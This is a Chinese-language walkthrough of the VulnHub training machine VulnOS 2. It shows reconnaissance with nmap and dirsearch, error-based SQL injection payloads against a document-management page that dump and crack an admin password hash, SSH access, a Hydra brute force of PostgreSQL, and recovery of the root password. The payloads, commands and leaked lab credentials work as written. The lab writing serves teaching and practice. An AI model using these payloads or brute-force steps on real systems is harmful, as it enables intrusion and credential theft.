
准备工作
靶机基本信息
靶机名称:VulnOS
操作系统:Linux
虚拟机软件:VirtualBox
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
root权限并读取Flag文件下载地址:1) VulnOS: 2 ~ VulnHub(VirtualBox)
2) VulnOS_2.zip_免费高速下载|百度网盘-分享无限制(VMware)
注:推荐下载VMware版本。
环境配置
靶机的网络服务存在域名,必须在攻击机的/etc/hosts文件中添加如下内容:
Text
<IP地址> irc.example.net
信息收集
主机发现
在Kali Linux中,使用netdiscover发现目标主机:
shell
netdiscover -r 192.168.2.0/24

可以看到网卡名称为VMware, Inc.的设备即为靶机,IP地址为192.168.2.105。
ICMP检测
发现设备之后,我们通过Ping来探测目标:
shell
ping -c 10 192.168.2.105

说明我们可以Ping通目标主机。
防火墙探测
我们可以使用nmap的-sA和-sF参数进行防火墙探测。
注:Nmap进行防火墙探测时,会向目标主机的网络端口发送
TCP ACK报文 。如果目标主机端口的回复是RST或者无回复,则目标主机大概率开启了防火墙。
shell
nmap -sA -T4 192.168.2.105
nmap -sF -T4 192.168.2.105

如图,22、80、6667端口的扫描结果显示为Filtered,判断目标主机极大概率有防火墙。
网络服务扫描
对靶机的防火墙探测结束后,我们进行初步的网络服务扫描。现在使用nmap探测所有TCP和UDP端口:
shell
nmap -sS -sV -A -p- -oN ./tcp_result.txt 192.168.2.105
nmap -sU -sV -p- -oN ./udp_result.txt 192.168.2.105
服务探测
SSH服务(22端口)
SSH服务的Banner信息如下(使用nc工具获取):
Text
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.6
Web应用程序(80端口)
网站业务系统探查
首先使用浏览器打开网址:http://irc.example.net/

页面上没有什么关键信息,只有一条链接,点击以后直接跳转到真正的业务主页http://irc.example.net/jabc/:

发现该网站有4个分支页面。依次点击它们,点击Documentation标签时,发现它跳转到的页面文本区域内看上去没有任何内容:

但是在查看源代码时发现了如下敏感信息:
Text
<p><span style="color:#000000">For security reasons, this section is hidden.</span></p>
<p><span style="color:#000000">For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest</span></p>
<p><span style="color:#000000">Thank you.</span></p>
说是有一个隐藏的目录/jabcd0cs,且为网站的管理系统,其中一份登录凭据为:
- 用户名:
guest - 密码:
guest
而且发现了网站的核心是Drupal 7。
尝试访问该页面(http://irc.example.net/jabcd0cs/):

非常不错。。。开局就是后台管理。。。尝试使用网页泄露的登录凭据:

成功登录后台! (可是。。低权限用户什么的不要啊喂)
网站后台系统扫描
既然已经登录后台,那么首先使用dirsearch扫描一波目录(必须指定Cookie):
shell
dirsearch -u http://irc.example.net/jabcd0cs/ -i 200,301,302,304 --cookie="PHPSESSID: ************"

可以看到网站有如下目录和文件:
/docs=> 网站说明文档目录/images=> 网站图片目录/include=> 网站核心目录/reports=> 未知/templates=> 网站模板缓存目录/uploads=> 上传文件保存目录add.php=> 文件上传页面admin.php=> 后台管理员页面config.php=> 网站基本配置文件database.sql=> 网站SQL脚本delete.php=> 未知edit.php=> 文件信息编辑页面error.php=> 错误提示页面logout.php=> 注销登录页面profile.php=> 用户个人信息页面search.php=> 内容搜索页面settings.php=> 网站设置编辑页面signup.php=> 注册新用户页面user.php=> 未知view.php=> 未知index.php=> 网站主页,重定向至out.php
同时查看了一下网站后台的功能,Home按钮为主页,Check-in按钮未知,Search按钮为搜索,Add Document按钮为上传文件,Logout按钮为登出 。该后台的主要功能就是管理并查看上传的文件。
SQL数据库文件
下载database.sql文件查看:

发现里面有14张数据表,其中odm_user表中保存着网站后台用户的登录信息。
其表结构如下:
SQL
CREATE TABLE odm_user (
id int(11) unsigned NOT NULL auto_increment,
username varchar(25) NOT NULL default '',
password varchar(50) NOT NULL default '',
department int(11) unsigned default NULL,
phone varchar(20) default NULL,
Email varchar(50) default NULL,
last_name varchar(255) default NULL,
first_name varchar(255) default NULL,
pw_reset_code char(32) default NULL,
PRIMARY KEY (id)
) ENGINE = MYISAM;
文件上传页面
点击Add Document按钮进入文件上传界面,选择本地的一张图片,填入信息上传,提示上传成功:

点击View查看图片:

发现图片访问成功,但是根据URL分析,该页面的逻辑似乎是先根据id将保存在数据库中的文件路径取出,再载入文件内容到页面上。
查看/uploads目录,发现上传文件的文件名全部变成了以序号+.dat 为格式。推测文件上传之后,网站先向数据库查询了最后的文件ID值,随后使用move_uploaded_file()函数将文件从内存中移动到磁盘内,并将文件改名为ID值+.dat的格式。因此我们除使用文件包含漏洞之外,无法利用文件上传漏洞。
发现SQL注入漏洞
返回主页,发现信息栏中多出了我们刚才上传的图片文件一行:

点击文本为文件名的链接,进入文件信息预览页(detail.php):

同时通过观察HTTP参数id和state,推测这里应该存在SQL查询,那么我们尝试在id参数的值最后追加一个英文逗号:http://192.168.2.105/jabcd0cs/details.php?id=7'&state=2
结果非常令人舒适:

看把孩子吓的,SQL查询语句都一下子爆出来了:
SQL
SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = /*{用户ID}*/ AND odm_user_perms.fid = /*{文件ID}*/ AND odm_user_perms.rights>=1;
BurpSuite,启动!
尝试使用sleep()函数(使id参数值为7+and+sleep(60)-- -,这样SQL语句就变成了如下状态):
SQL
SELECT * FROM odm_user_perms WHERE odm_user_perms.uid = 2 AND odm_user_perms.fid = 7+and+sleep(60)-- - AND odm_user_perms.rights>=1

好啊,年轻就是好,倒头就睡(bushi
渗透测试
更换SQL注入点
验证了SQL漏洞之后,我们将id的值设置为:7+and+extractvalue(1,concat(0x7e,(select+version()),0x7e)),这样就能使用报错注入的方式注出MySQL的版本信息。

可以得知MySQL的版本为5.5.47。
但好景不长,接下来进行进一步注入时,发现当我的输入中存在_符号时,程序会将字符串中从下划线开始到结束的部分全部删除,且尝试了很久还是无法绕过,无奈之下只好再次寻找注入点。
很快,我就在edit.php中找到了新注入点,参数还是id:

SQL语句如下:
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = /*{用户ID}*/ and fid = /*{文件ID}*/
尝试加入_号,查看是否会删除该符号和后面的字符串:
Text
GET /jabcd0cs/edit.php?id=7aaa_bbb'&state=3 HTTP/1.1
Host: irc.example.net

成功!
获取管理员账号信息
接下来获取数据库名:7+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

得知当前数据库名为:jabcd0cs
根据之前SQL数据库文件的信息,我们对odm_user表进行注入。
先获取表中的列数:7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1)
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20count(id)%20from%20odm_user),0x7e),1)

可以得知数据表中只有两列数据
接下来获取表中的第一个用户名信息:7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1)
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20username%20from%20odm_user%20limit%201),0x7e),1)

嗯,第一个用户名是webmin,那剩下的那一个自然是guest了。
获取webmin用户的密码:7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1)
SQL
SELECT odm_user_perms.rights FROM odm_user_perms WHERE uid = 2 and fid = 7+and+updatexml(1,concat(0x7e,(select%20password%20from%20odm_user%20limit%201),0x7e),1)
直接获取到了MD5值:b78aae356709f8c31118ea613980954

访问如下网站破解MD5:MD5免费在线解密破解_MD5在线加密-SOMD5
在输入框内粘贴跑出的MD5密文,点击解密按钮,很快就能获取到明文密码:

现已得知网站后台管理员的登录信息:
- 用户名:
webmin - 密码:
webmin1980
按照惯例,尝试将上述登录信息用于SSH登录:

成功!!!
权限提升
进入系统,首先看看自己在什么目录下:
Text
$ pwd
/home/webmin
查看用户家目录下的文件,发现有一个名为post.tar.gz的压缩包文件:
shell
ls -lA
file post.tar.gz

尝试解压看一看:
shell
tar -xzvf post.tar.gz

发现里面是一份Hydra暴力破解工具的源码。更可疑的是,目录下还有一份名为postgres_ext.h的文件,有可能暗示我们需要暴力破解PostgreSQL数据库。
先放着不管,继续收集进程信息:
shell
ps -aux

看看看看,发现了什么好东西ヽ(°▽°)ノ
发现了PostgreSQL进程之后,我们需要确定其监听的网络端口:
shell
netstat -nlp

得知PostgreSQL监听的端口为5432
知道了端口号之后,我们就可以对其进行暴力破解了。
先对家目录下的Hydra源码进行编译:
shell
cd post
./configure
make && make install
然后上传以下字典文件到靶机:
/usr/share/wordlists/metasploit/postgres_default_user.txt/usr/share/wordlists/metasploit/postgres_default_pass.txt

随后使用刚编译的Hydra破解5432端口的PostgreSQL:
shell
./hydra -L postgres_default_user.txt -P postgres_default_pass.txt -e nsr 127.0.0.1 postgres
可以看到用户名密码已经破解成功:

- 用户名:
postgres - 密码:
postgres
直接登录数据库:
Text
$ psql -h 127.0.0.1 -p 5432 -U postgres
Password for user postgres: ********
psql (9.3.11)
SSL connection (cipher: DHE-RSA-AES256-GCM-SHA384, bits: 256)
Type "help" for help.
postgres=#
注:
PostgreSQL数据库的常用命令 --
\q=> 断开连接
\l=> 查看所有数据库
\c=> 切换数据库
\d=> 查看数据库信息
\d <table_name>=> 查看表信息
\db=> 查看表空间信息
查看所有数据库:

在依次查看数据库内容时,发现system数据库内有如下敏感信息:
SQL
\c system
\dt system
SELECT * FROM users;

得知靶机其它用户的登录信息:
- 用户名:
vulnosadmin - 密码:
c4nuh4ckm3tw1c3
直接登录:

成功!!
查看该用户家目录下文件,只发现一个名为r00t.blend的文件:

百度了一下,发现是3D建模文件,需要用Blender软件打开。
将其下载到本地,使用建模软件打开之后,在建模内的白色正方体中发现了root用户密码信息(已将文本框拖出):

- 用户名;
root - 密码:
ab12fg//drg
直接尝试登录:

提权成功!!!
Flag信息公示
文件名:
flag.txt
文件大小:165 B
MD5:aefc1df838f6fcdeb8eb16c32ce222a9
SHA256:411935fe4f67a98718cb8c917a146946bca0c57a1c27e9bf0c080db1057efce8
文件内容:
Text
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?
